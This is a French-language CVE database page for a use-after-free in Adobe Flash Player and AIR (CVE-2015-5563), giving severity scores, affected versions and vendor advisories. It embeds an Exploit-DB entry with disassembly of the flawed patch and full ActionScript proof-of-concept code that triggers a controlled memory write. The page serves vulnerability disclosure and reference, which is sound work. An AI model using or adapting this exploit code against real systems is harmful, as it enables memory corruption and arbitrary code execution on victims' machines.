CVE-2015-5563 : Détail

CVE-2015-5563

43.49%V3
Network
2015-08-13
23h00 +00:00
2018-01-04
18h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5130, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5564, and CVE-2015-5565.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 37884

Date de publication : 2015-08-18 22h00 +00:00
Auteur : bilou
EDB Vérifié : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=484&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Tracking for: https://code.google.com/p/chromium/issues/detail?id=508072] VULNERABILITY DETAILS Copy Paste of Issue 480496 VERSION Chrome Version: N/A yet, Flash 18.0.0.203 Operating System: [Win7 x64 SP1] REPRODUCTION CASE Flash 18.0.0.203 patched Issue 480496 by checking if the internal filter object is still alive after the first Array.length call (from Flash player standalone): .text:004D71DA loc_4D71DA: .text:004D71DA and ecx, 0FFFFFFF8h .text:004D71DD call xAS2_getArrayLength .text:004D71E2 test eax, eax .text:004D71E4 jle short loc_4D725D .text:004D71E6 mov ecx, [esp+8+arg_C] .text:004D71EA mov eax, [ecx+94h] .text:004D71F0 test eax, 0FFFFFFFEh .text:004D71F5 jz short loc_4D7200 .text:004D71F7 and eax, 0FFFFFFFEh .text:004D71FA cmp dword ptr [eax+28h], 0 ; here we check whether the object has been deleted or not .text:004D71FE jnz short loc_4D720B .text:004D7200 .text:004D7200 loc_4D7200: .text:004D7200 mov ecx, dword_E51A40 .text:004D7206 call sub_968A00 ; and in that case we suicide Unfortunately they forget to do that check after the second Array.length call: .text:004D721D loc_4D721D: .text:004D721D and eax, 0FFFFFFF8h .text:004D7220 push edi .text:004D7221 mov edi, eax .text:004D7223 mov ecx, edi .text:004D7225 xor esi, esi .text:004D7227 call xAS2_getArrayLength ; here we can still execute a script and delete the filters... .text:004D722C test eax, eax .text:004D722E jle short loc_4D725C Should crash that way: CPU Disasm Address Hex dump Command Comments 004CE27F 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] 004CE282 8942 04 MOV DWORD PTR DS:[EDX+4],EAX ; write a pointer to 0x41424344 004CE285 8B51 04 MOV EDX,DWORD PTR DS:[ECX+4] 004CE288 8950 08 MOV DWORD PTR DS:[EAX+8],EDX 004CE28B FF41 08 INC DWORD PTR DS:[ECX+8] 004CE28E 8941 04 MOV DWORD PTR DS:[ECX+4],EAX 004CE291 C2 0400 RETN 4 004CE294 FF41 08 INC DWORD PTR DS:[ECX+8] *************************************************************************** Content of flash_as2_filters_uaf_write4_poc.fla //Compile that with Flash CS5.5 and change the property "s" in the swf to "4" //It's because Flash CS5.5 does not allow naming a property with a numeral import flash.filters.GlowFilter; var tfield:TextField = createTextField("tf",1,1,2,3,4) var a1:Array = new Array() var a2:Array = new Array() for (i = 0; i<0x3F8/4;i++) { a2[i] = 0x41424344 } a2[3] = 0 a2[0x324/4] = 0x41424344 a2[0x324/4 + 1] = 0x41424344 a2[0x324/4 + 2] = 0x41414143 a2[0x324/4 + 3] = 0x41414100 for (var i = 0; i<0x200;i++) { var tf:TextFormat = new TextFormat() a1[i] = tf } for (var i = 0; i<0x100;i++) { a1[i].tabStops = a2 } a1[0xFF].tabStops = [] function f() { _global.mc.createTextField("tf",1,1,2,3,4) a1[0xFE].tabStops = [] a1[0xFD].tabStops = [] for (var i = 0x100; i<0x200;i++) { _global.a1[i].tabStops = _global.a2 } } _global.mc = this _global.counter = 0 _global.a1 = a1 _global.a2 = a2 var oCounter:Object = new Object() oCounter.valueOf = function () { _global.counter += 1 if (_global.counter == 4) f() return 10; } var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)} tfield.filters = o; Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37884.zip

Products Mentioned

Configuraton 0

Adobe>>Air >> Version To (including) 18.0.0.180

Adobe>>Air_sdk >> Version To (including) 18.0.0.180

Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.180

Configuraton 0

Adobe>>Flash_player >> Version To (including) 18.0.0.209

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.491

Linux>>Linux_kernel >> Version -

Références

https://security.gentoo.org/glsa/201508-01
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securitytracker.com/id/1033235
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/76288
Tags : vdb-entry, x_refsource_BID
http://rhn.redhat.com/errata/RHSA-2015-1603.html
Tags : vendor-advisory, x_refsource_REDHAT